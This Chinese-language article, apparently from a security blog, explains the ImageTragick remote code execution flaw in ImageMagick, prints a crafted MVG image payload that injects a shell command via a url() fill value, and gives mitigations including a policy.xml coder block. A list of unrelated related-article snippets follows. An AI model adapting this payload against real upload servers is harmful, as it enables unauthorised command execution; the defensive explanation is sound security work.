ImageTragick Exploit & Fix

ImageMagick是一款广泛流行的图像处理软件,有无数的网站(国内国外都有)使用它来进行图像处理,但在本周二,ImageMagick披露出了一个严重的0day漏洞,此漏洞允许攻击者通过上传恶意构造的图像文件,在目标服务器执行任意代码。

在这个安全漏洞公布之后,这一漏洞的EXP也随即被发布,并被命名为:ImageTragick。漏洞的EXP已经通过邮件和论坛广泛传播。

ImageMagick被许多编程语言所支持,包括Perl,C++,PHP,Python和Ruby等,并被部署在数以百万计的网站,博客,社交媒体平台和流行的内容管理系统(CMS),例如WordPress、Drupal、Discuz!。

该漏洞的利用十分简单,通过上传一个恶意图像到目标Web服务器上,攻击者就可以执行任意代码,窃取重要信息,用户帐户等。

换句话说,只有采用了ImageMagick,且允许用户上传图像的网站,才会受到影响。

漏洞利用:

push graphic-context
viewbox 0 0 640 480
fill ‘url(https://example.com/image.jpg“|ls “-la)’
pop graphic-context

将代码保存为任意的扩展名,例如expoit.jpg,然后通过ImageMagick去运行它

convert exploit.jpg out.png

此时,ImageMagick就会去执行嵌入的代码/命令:ls -la命令。

漏洞防御:

1.在上传图片时需要通过文件内容来判断用户上传的是否为真实图片类型,即:检查文件的magic bytes。Magic bytes是一个文件的前几个字节,被用于识别图像类型,例如GIF,JPEG和PNG等,这样,才能准确判断是否为文件图片。

2.使用策略配置文件来禁用ImageMagick的有风险的编码器,可在 “/etc/ImageMagick/policy.xml” 文件中添加如下代码:

<policymap>
    <policy domain="coder" rights="none" pattern="EPHEMERAL">
    <policy domain="coder" rights="none" pattern="URL">
    <policy domain="coder" rights="none" pattern="HTTPS">
    <policy domain="coder" rights="none" pattern="MVG">
    <policy domain="coder" rights="none" pattern="MSL">
</policymap>

此时,若再运行:convert exploit.jpg out.png,就无法再执行ls -la命令了。

时间: 2024-12-29 23:49:26

ImageTragick Exploit & Fix的相关文章

Android linux kernel privilege escalation vulnerability and exploit (CVE-2014-4322)

In this blog post we'll go over a Linux kernel privilege escalation vulnerability I discovered which enables arbitrary code execution within the kernel. The vulnerability affected all devices based on Qualcomm chipsets (that is, based on the "msm&quo

如何利用burp+metasploit快速检测&amp;利用 ImageTragick(CVE-2016–3714)

转载:https://www.secpulse.com/archives/57126.html ImageTragick(CVE-2016–3714) ImageMagick是用来处理图片的通用组件,涉及PHP,JAVA,Python,Perl和Ruby等流行语言,16年4月被发现存在RCE,攻击者只需上传构造好的图片即可获取服务器权限.可以参考安全脉搏:<ImageMagick 远程命令执行漏洞(CVE-2016-3714)安全预警> https://www.secpulse.com/arc

常用fix顶部1111111111111111

如何写CSS? 1.顶部不fix,有主宽度: 2.顶部fix,无主宽度,min-width.移动端. 3.向下滑动页面时,顶部出现fix,与初始的顶部内容有区别.(常用于移动端) 4.顶部fix,有主宽度,比如1200px.

Jar mismatch! Fix your dependencies的解决方案

最近在unbuntu中编译android项目的时候遇到了很多问题,最近遇到的问题是Jar mismatch! Fix your dependencies好像是缺少依赖,要解决其中的依赖关系. 在开发Android项目的时候,有时需要引用多个项目作为library.在引用项目的时候,有时会出现"Jar mismatch! Fix your dependencies"错误.这是因为两个项目的jar包(android-support-v4.jar)不一致. 解决方法是把2个jar都删除,然后

How to fix Cannot change version of project facet Dynamic Web Module to 3.0 Error in Eclipse---转载

How to fix Cannot change version of project facet Dynamic Web Module to 3.0 Error in Eclipse 原文:http://crunchify.com/how-to-fix-cannot-change-version-of-project-facet-dynamic-web-module-to-3-0-error-in-eclipse/ Today while converting Dynamic Web Proj

RAD Studio 2009-10Seattle IDE Fix Pack 5.94

IDE Fix Pack 5.94 IDE Fix Pack is a collection of unofficial bug fixes and performance optimizations for the RAD Studio IDE, Win32/Win64/Andoird-ARM compiler and Win32 debugger. IDE Fix Pack is an IDE plugin for RAD Studio 2009-10Seattle that fixes I

CVE-2014-0050: Exploit with Boundaries, Loops without Boundaries、Apache Commons FileUpload and Apache Tomcat DoS

catalog 1. Description 2. Analysis 3. POC 4. Solution 1. Description MultipartStream.java in Apache Commons FileUpload before 1.3.1, as used in Apache Tomcat, JBoss Web, and other products, allows remote attackers to cause a denial of service (infini

Jar mismatch! Fix your dependencies

1.在Android开发中,会遇到包名不一致的情况,如下所示 [2015-11-21 11:56:03 - test] Found 2 versions of android-support-v4.jar in the dependency list, [2015-11-21 11:56:03 - test] but not all the versions are identical (check is based on SHA-1 only at this time). [2015-11-2

Fix header line conflict between tabbar and cedet

Fix header line conflict between tabbar and cedet Table of Contents 1. Problem Description 2. fix process 3. tabbar install 1 Problem Description When I open .c/.cpp file, tabbar header line is occupied by cedet semantic 2 fix process add (global-sem